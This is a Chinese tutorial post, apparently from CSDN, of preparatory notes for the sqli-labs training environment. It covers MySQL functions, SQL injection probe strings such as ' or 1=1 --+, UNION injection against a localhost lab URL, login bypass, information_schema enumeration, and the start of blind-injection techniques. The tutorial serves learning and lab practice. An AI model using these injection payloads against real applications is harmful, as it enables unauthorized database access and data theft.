sqli-labs预备知识

本文详细介绍了SQL注入的基础知识,包括系统函数、字符串连接、逻辑运算、UNION操作符的使用。深入讲解了基于布尔、报错和时间的盲注技术,涉及到截取字符串函数、ASCII码与正则表达式在盲注中的应用,以及如何利用错误信息进行信息获取。此外,还提到了LIMIT在正则匹配中的作用和LIKE匹配的注入方法。
摘要由CSDN通过智能技术生成

一、系统函数

 version()------------------------------------------mysql版本

 user()---------------------------------------------数据库用户名

 database()-----------------------------------------数据库名
 
@@datadir-------------------------------------------数据库路径

@@version_compile_os--------------------------------操作系统版本

二、字符串连接函数

concat(str1,str2,...)
//没有分隔符的连接字符串
concat_ws(separator,str1,str2,...)
//含有分隔符的连接字符串
group_concat(str1,str2,...)
//连接一个组的所有字符串,并以逗号分隔开
//这三个函数能一次性查出所有信息

具体的看这里

三、一般用于尝试的语句

PS:–+可以用#替换,url的提交过程中#的url编码为%23

or 1=1 --+
' or 1=1 --+
" or 1=1 --+
) or 1=1 --+
') or 1=1 --+
") or 1=1 --+
")) or 1=1 --+

四、union操作符

union操作用于合并两个或者多个select语句的结果集。但是union内部的select语句必须有相同数里的列。列也必须拥有相似的数据类型。同时,每条select语句列的顺序也必须相同。

SQL UNION语法

select column_name(s) from teble_name 1 union select column_name(s) from table_name2

默认,union操作符选区不同的值。如果允许重复的值,得使用union all。

SQL UNION ALL语法

select column_name(s) from teble_name 1 union all select column_name(s) from table_name2

例:http://127.0.0.1/sqli/less-1/?id=-1’ union select 1,2, --+

当id的数据在数据库中不存在时(此时我们可以将id=-1,两个sql语句执行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union的数据。

五、sql中的逻辑运算。

select * from admin where username='admin' and password='admin'

我们可以用’ or 1=1#作为密码输入。这样拼接构成的sql语句为:

select * from admin where username='admin' and password='' or 1=1#'

三个条件用and和or进行连接。在sql中and的运算优先级大于or的运算优先级。
在这里插入图片描述第一个的条件结果为真,第二个的条件结果为假,它们经过and运算得到的结果为假,但是得到的结果又和第三个条件为真的结果进行或运算,最终得到的结果为真。因此上面的语句就为恒真式。

select * from users where id =1 and 1=1;
select * from users where id =1 && 1=1;
select * from users where id =1 & 1=1;

第一句与第二句是等价的,意思是id=1的条件与1=1条件进行与运算,第三句由于&的优先级大于=,因此意思为id=1条件与1进行与运算,运算结果为1.再进行等于操作(1=1)最终结果还是1。

六、数据库的存储形式

在这里插入图片描述

七、常用的数据库语句

show databases; 
//列出存在的所有数据库名称
use security;    
//选择我们想要的数据库
show tables;     
//查看这个数据库下有哪些表
select schema_name from information_schema.schemata    
//猜数据库
select table_name from information_schema.tables where table_schema='xxxxx'    
//猜某库的数据表
select column_name from information_schema.columns where table_name = 'xxxxx'    
//猜某表的所有列
select column_name from information_schema.columns where table_name = 'xxxxx'    
//获取某列的内容

八、盲注

盲注就是在sql语句执行选择后,选择的数据不能回显到前端界面。这时候就需要利用一些方法进行判断或者尝试。

基于布尔的盲注

截取字符串相关函数

盲注的情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。
1.mid()函数:
此函数为截取字符串一部分。

MID(column_name,start[,length])

//column_name:必须,需要提取字符的字段。
//start:必须。规定开始位置(起始值为1)。
//length:可选。要返回的字符数。如果省略,则mid()函数返回剩余文本。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值